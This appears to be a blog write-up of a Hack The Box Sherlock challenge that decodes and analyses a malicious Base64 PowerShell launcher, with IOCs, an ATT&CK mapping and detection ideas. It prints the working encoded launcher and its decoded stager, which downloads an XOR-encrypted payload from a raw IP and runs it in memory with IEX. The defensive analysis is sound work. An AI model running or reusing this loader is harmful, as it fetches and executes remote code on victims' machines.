Post

HTB Sherlock: PowerShell_Script

HTB Sherlock: PowerShell_Script

Scenario

You’ve come across a puzzling Base64 script, seemingly laced with malicious intent. Your mission, should you choose to accept it, is to dissect and analyze this script, unveiling its true nature and potential risks. Dive into the code and reveal its secrets to safeguard our digital realm. Good luck on this daring quest!

Connect to the VM via RDP from pwnbox:

1
xfreerdp /v:<ipaddress> /u:letsdefend /p:'' /cert:ignore /dynamic-resolution

The challenge file is located at C:\Users\LetsDefend\Desktop\ChallengeFile\script.ps1. Opened the file, and there is a long string after a PowerShell launcher.

1
2
powershell.exe -NoP -sta -NonI -W Hidden -Enc
JABXAEMAPQBOAGUAdwAtAE8AYgBqAEUAYwBUACAAUwB5AFMAVABlAE0ALgBOAEUAVAAuAFcAZQBiAEMAbABpAEUATgB0ADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8AJwA7ACQAVwBDAC4ASABlAEEARABlAFIAUwAuAEEARABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAVwBjAC4AUAByAG8AeABZACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAVAAuAFcARQBCAFIAZQBRAFUARQBzAHQAXQA6ADoARABFAEYAQQB1AEwAdABXAGUAYgBQAHIAbwBYAHkAOwAkAHcAYwAuAFAAUgBPAHgAWQAuAEMAcgBFAGQAZQBuAFQAaQBhAGwAUwAgAD0AIABbAFMAeQBzAFQAZQBtAC4ATgBFAHQALgBDAFIAZQBkAGUATgBUAEkAQQBsAEMAQQBjAEgARQBdADoAOgBEAGUARgBBAFUATABUAE4AZQB0AFcATwByAEsAQwByAGUAZABFAE4AVABpAEEAbABzADsAJABLAD0AJwBJAE0ALQBTACYAZgBBADkAWAB1AHsAWwApAHwAdwBkAFcASgBoAEMAKwAhAE4AfgB2AHEAXwAxADIATAB0AHkAJwA7ACQAaQA9ADAAOwBbAEMASABhAFIAWwBdAF0AJABCAD0AKABbAGMASABhAFIAWwBdAF0AKAAkAHcAYwAuAEQATwB3AE4ATABPAGEARABTAHQAcgBpAE4AZwAoACIAaAB0AHQAcAA6AC8ALwA5ADgALgAxADAAMwAuADEAMAAzAC4AMQA3ADAAOgA3ADQANAAzAC8AaQBuAGQAZQB4AC4AYQBzAHAAIgApACkAKQB8ACUAewAkAF8ALQBCAFgAbwBSACQASwBbACQASQArACsAJQAkAGsALgBMAEUAbgBHAFQASABdAH0AOwBJAEUAWAAgACgAJABCAC0AagBPAEkAbgAnACcAKQA=

Artifacts

ArtifactTypeTool
script.ps1PowerShell launcher with Base64 encoded commandCyberChef

Decoding the payload

Then I opened CyberChef, here is the recipe that I used:

1
2
From_Base64('A-Za-z0-9+/=',true,false)
Decode_text('UTF-16LE (1200)')

Since the output from From_Base64 alone is a bit weird (there is a null byte between every character), I added the text decoding.

For reference:

1
2
3
-Enc (-EncodedCommand) expects Base64 of a UTF-16LE string
UTF-16LE  every ASCII character is stored as 2 bytes: the character + 0x00
          "$W" -> 24 00 57 00

Here is the output:

1
2
3
4
5
6
7
8
9
$WC=New-ObjEcT SySTeM.NET.WebCliENt;                    # init webclient
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; # user agent variable
$WC.HeADeRS.ADd('User-Agent',$u);                       # setting user agent
$Wc.ProxY = [System.NeT.WEBReQUEst]::DEFAuLtWebProXy;
$wc.PROxY.CrEdenTialS = [SysTem.NEt.CRedeNTIAlCAcHE]::DeFAULTNetWOrKCredENTiAls; # using default proxy
$K='IM-S&fA9Xu{[)|wdWJhC+!N~vq_12Lty';
$i=0;
[CHaR[]]$B=([cHaR[]]($wc.DOwNLOaDStriNg("http://98.103.103.170:7443/index.asp")))|%{$_-BXoR$K[$I++%$k.LEnGTH]};
IEX ($B-jOIn'')

Seems like a script to do a web request. I can see the script setting up the user agent with Mozilla, along with the default web proxy, then followed by the $K variable init. The result of the string downloaded from the IP is piped and processed with the $K variable, then executed with IEX.

The random casing (New-ObjEcT, SySTeM.NET) is just obfuscation, PowerShell is case-insensitive. That’s also why $I and $k in the loop are the same variables as $i and $K.

The pipe

I wasn’t sure about the piping, so I checked it part by part, starting from the inside:

1
2
3
4
5
6
7
8
9
$wc.DownloadString("http://...")   download the payload from C2 as one string
[char[]](...)                      split the string into a char array
| %{ ... }                         % = ForEach-Object, loop each char, $_ = current char
$K[$i++ % $K.Length]               pick the key char, % (modulo) wraps the index back to 0
                                   when it reaches the end of the key (32 chars)
$_ -bxor ...                       XOR the current char with the key char
[char[]]$B = ...                   cast the XOR results back to chars, store to $B
$B -join ''                        glue the chars back into one string
IEX (...)                          Invoke-Expression, run the string as PowerShell code

The downloaded payload is XOR encrypted, with $K as a repeating key. The script decrypts it and runs it in memory without writing anything to disk. The real payload only comes from the server at runtime, so we can’t see it from this script.

Tasks

1. What encoding is the malicious script using?

I opened the file and saw the long string, my mind immediately went to Base64. The tail confirmed it, the string ends with = padding. The launcher also uses -Enc, which only accepts Base64.

Answer: Base64

2. What parameter in the powershell script makes it so that the powershell window is hidden when executed?

The launcher has -W Hidden (-WindowStyle Hidden), so the window is hidden when executed.

1
powershell.exe -NoP -sta -NonI -W Hidden -Enc ...

Reference for the other flags:

1
2
3
4
5
-NoP    -NoProfile        don't load the user's PowerShell profile
-sta    -Sta              single-threaded apartment
-NonI   -NonInteractive   no interactive prompt to the user
-W      -WindowStyle      Hidden = no visible window
-Enc    -EncodedCommand   Base64 (UTF-16LE) command

Answer: -W Hidden

3. What parameter in the Powershell script prevents the user from closing the process?

I was confused at first. “Prevents the user from closing” gave me the impression of something that stops the user from killing the process, and none of the flags does that. Then I checked the hint:

This parameter in PowerShell means that the commands or scripts will run without needing any input or response from a person.

So the hint points to non-interactive mode, which is the -NonI flag. I think the question is a bit misleading, -NonInteractive doesn’t stop the user from killing the process. It only makes PowerShell run without prompting the user.

Answer: -NonI

4. What line of code allows the script to interact with websites and retrieve information from them?

From the decoded payload, the first statement creates a WebClient object, which is later used for DownloadString.

1
$WC=New-ObjEcT SySTeM.NET.WebCliENt

The decoded script uses random casing, but the answer is accepted in normal casing.

Answer: $WC=New-Object System.Net.WebClient

5. What is the user agent string that is being spoofed in the malicious script?

$u is set and added as the User-Agent header, which makes the request look like it came from Internet Explorer 11 on Windows 7.

1
2
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$WC.HeADeRS.ADd('User-Agent',$u);

Answer: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

6. What line of code is used to set the proxy credentials for authentication in the script?

The script uses the system’s default proxy, then authenticates to it with the logged-in user’s credentials (DefaultNetworkCredentials), so the download still works behind a corporate proxy.

1
$wc.PROxY.CrEdenTialS = [SysTem.NEt.CRedeNTIAlCAcHE]::DeFAULTNetWOrKCredENTiAls

Answer: $wc.PROxY.CrEdenTialS = [SysTem.NEt.CRedeNTIAlCAcHE]::DeFAULTNetWOrKCredENTiAls

7. When the malicious script is executed, what is the URL that the script contacts to download the malicious payload?

The argument to DownloadString:

1
$wc.DOwNLOaDStriNg("http://98.103.103.170:7443/index.asp")

Answer: http://98.103.103.170:7443/index.asp

Indicators

IndicatorTypeContext
hxxp://98.103.103[.]170:7443/index.aspURLPayload download (stage 2)
98.103.103[.]170IPv4C2 server
7443/tcpPortC2 port (HTTP on non-standard port)
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoUser-AgentSpoofed IE11 UA
IM-S&fA9Xu{[)\|wdWJhC+!N~vq_12LtyXOR keyDecodes the downloaded payload
powershell.exe -NoP -sta -NonI -W Hidden -EncCommand lineLauncher flags

ATT&CK mapping

TechniqueIDEvidence
Command and Scripting Interpreter: PowerShellT1059.001powershell.exe ... -Enc, IEX
Obfuscated Files or InformationT1027Base64 -Enc command, random casing, XOR encoded stage 2
Deobfuscate/Decode Files or InformationT1140-BXoR with $K before IEX
Hide Artifacts: Hidden WindowT1564.003-W Hidden
Application Layer Protocol: Web ProtocolsT1071.001HTTP to 98.103.103.170:7443 with spoofed UA
Ingress Tool TransferT1105DownloadString(...) fetches the next stage

Detection opportunities

  • Process creation (Sysmon EID 1 / Security 4688): powershell.exe with -Enc/-EncodedCommand combined with -W Hidden and -NonI.
  • Script Block Logging (EID 4104): logs the decoded script, so DownloadString, -bxor and IEX show up in plain text even though the command line is encoded.
  • Network: powershell.exe making HTTP connections to a raw IP on a non-standard port (7443), with an IE11 user agent coming from a process that isn’t IE.

Lessons

  • -Enc = Base64 of UTF-16LE, decode with From Base64 + Decode text (UTF-16LE) to get rid of the null bytes.
  • Check the hint when the question wording feels off. “Prevents the user from closing” was asking for -NonInteractive.
  • Decoding stage 1 only gives you the loader. The real payload is XOR encoded and comes from the C2 at runtime, so the URL and key are the important IOCs.
This post is licensed under CC BY 4.0 by the author.